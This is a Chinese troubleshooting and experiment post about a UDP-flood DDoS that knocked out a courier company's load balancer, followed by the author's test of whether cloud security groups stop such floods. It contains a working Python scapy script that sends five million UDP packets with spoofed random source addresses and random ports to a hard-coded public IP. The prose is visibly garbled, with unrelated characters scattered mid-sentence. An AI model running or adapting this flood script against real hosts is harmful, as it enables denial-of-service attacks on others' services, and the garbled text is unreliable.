DDoS 真實案例總結(jié)分析
五一申請了值班,遇到國內(nèi)某知名快遞公司同城業(yè)務在凌晨三點左右冕杠,客戶PV突發(fā)斷流,用戶截圖只截圖了一個PV斷流的監(jiān)控圖來牛隅,然后其使用的外網(wǎng)型LB竭翠,域名解析正確,ping LB不通(LB未設置安全組不存在禁止ICMP協(xié)議)象缀,開始緊急排查蔬将。
排查思路:
- 域名解析是否正確。 --經(jīng)過核對解析正確
- 用戶沒有對安全組進行額外的操作央星。 --已排查無問題
- LB后端轉(zhuǎn)發(fā)端口霞怀。 --已排查無問題。
- LB后端健康檢查莉给。 --已排查無問題毙石。
- RS狀態(tài)。--已排查無問題颓遏。
- LB監(jiān)控徐矩。 --無權(quán)限。
最后問題原因出來了: 用戶受到了DDoS UDP-Flood攻擊叁幢。而且用戶也收到了云平臺推送的短信通知滤灯,但是他也不說,讓我們可勁排查曼玩。
下次正確的排查思路:
- 用戶是否收到平臺相應的短信通知鳞骤。
- ping不通時,如果網(wǎng)絡入口狀態(tài)正常黍判,就需要用戶提供網(wǎng)絡入包量監(jiān)控截圖弟孟,優(yōu)先判斷掉是否受到了DDoS攻擊。
由此產(chǎn)生到的兩個問題样悟。
安全組相應設置是否能夠防御DDoS攻擊拂募?
為什么客戶只開啟了TCP80庭猩、443的端口為什么會受到UDP Flood攻擊?
基于UDP Flood的攻擊實踐
實踐相關(guān)說明
- 這次實踐就比較簡單的組多個UDP的包陈症,發(fā)給云服務器好了,先忽略安全組的問題蔼水。(這里就不采用反射型放大攻擊技術(shù)了,基于公司的云服務器使用規(guī)則和說明录肯,第二個是反射型放大攻擊效果太好趴腋,8-10000倍放大攻擊害怕整出事,第三是反射型的放大攻擊需要進行IP欺騙论咏,我的路由器是家用型的沒辦法設置优炬。)
- 我們需要在云服務器上部署一套監(jiān)控來查看網(wǎng)絡包的入包量。
- 需要少量的python編程的基礎知識厅贪。
看python腳本蠢护,本次利用的是鼎鼎大名的scapy,用來網(wǎng)絡編程是真的舒服养涮。
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
def src_ip():
temp_ip = ''
for i in range(0, 4):
temp_ip = temp_ip + '.' + str(random.randrange(0,255))
return temp_ip.strip('.')
ip = src_ip()
data = struct.pack('!17s', b"dffsadfsafsadfsdf")
for i in range(0,5000000):
pkt = IP(src=ip, dst='139.155.75.204') / UDP(sport=random.randrange(1, 65536),
dport=random.randrange(1, 65536)) / data
send(pkt, inter=0, count=1)
在服務器上面來進行抓包下來進行分析葵硕。(安全組設置默認全通的情況下)
# tcpdump -i eth0 -w udp.cap udp
- 可以根據(jù)這張圖得知:
- 我隨機偽造的源地址被我的路由snat成了公網(wǎng)IP。
- 大量接收到的UDP數(shù)據(jù)報文贯吓。
- 接下來看看云服務器上面的監(jiān)控懈凹。
- 安全組策略
可以得出結(jié)論:
- 在安全組全開的情況下,流量直接到達服務器悄谐,攻擊生效介评。
再來看看設置了安全組關(guān)閉所有UDP端口看是否能夠有效的阻止攻擊。
- 安全組策略
- 攻擊時云服務器監(jiān)控
- 停止攻擊后的云服務器監(jiān)控
使用TCPDUMP抓包沒有看到包了爬舰,但是還是在控制臺監(jiān)控上看到流量的入包情況威沫。
最后的總結(jié)分析
-
1.安全組相應設置是否能夠防御DDoS攻擊?
- 實踐證明沒用洼专,雖然在安全組策略上動了心思不允許流量進入云服務器,但是流量到達了安全組之后孵构,流量依然還是計算在云服務器上屁商。
-
2.為什么客戶只開啟了TCP80、443的端口為什么會受到UDP Flood攻擊颈墅?
- 查找了很多有關(guān)的書籍和文檔蜡镶,并沒有找到權(quán)威的解釋,所以這里有問題歡迎大家找我討論:qinghualai@foxmail.com
- 我們關(guān)注數(shù)據(jù)解封裝的過程恤筛,由下至上逐層解封官还,在下層未將報文傳遞給上層之前,上層是無法感知數(shù)據(jù)的毒坛。當數(shù)據(jù)報文打到網(wǎng)絡層的時候望伦,已經(jīng)完成了IP之間的點到點通訊林说,網(wǎng)絡層將數(shù)據(jù)包傳遞給傳輸層UDP協(xié)議時,UDP發(fā)現(xiàn)沒有該協(xié)議的端口工作屯伞,此時UDP報文會怎么做腿箩?未能查到權(quán)威書籍不敢下結(jié)論,但是已經(jīng)報文到達傳輸層劣摇,已經(jīng)完成了流量攻擊珠移,攻擊發(fā)起者不再關(guān)注后續(xù)的操作。
- 所以不管在云服務器前面部署防火墻或者是其他的設備末融,都需要感知傳輸層報文钧惧,都會成為第一道被打擊的對象。都會堵塞其網(wǎng)絡勾习。唯有流量牽引和清洗回注技術(shù)方可解決浓瞪。DDoS攻擊及其變種的放大、CC等已經(jīng)成為目前互聯(lián)網(wǎng)的耗費最小打擊效果最大的一種攻擊手段语卤,讓受害者面臨巨大的經(jīng)濟損失追逮。我們一定要加強自己的安全意識,和防護手段才能避免成為不法分子手中的武器粹舵。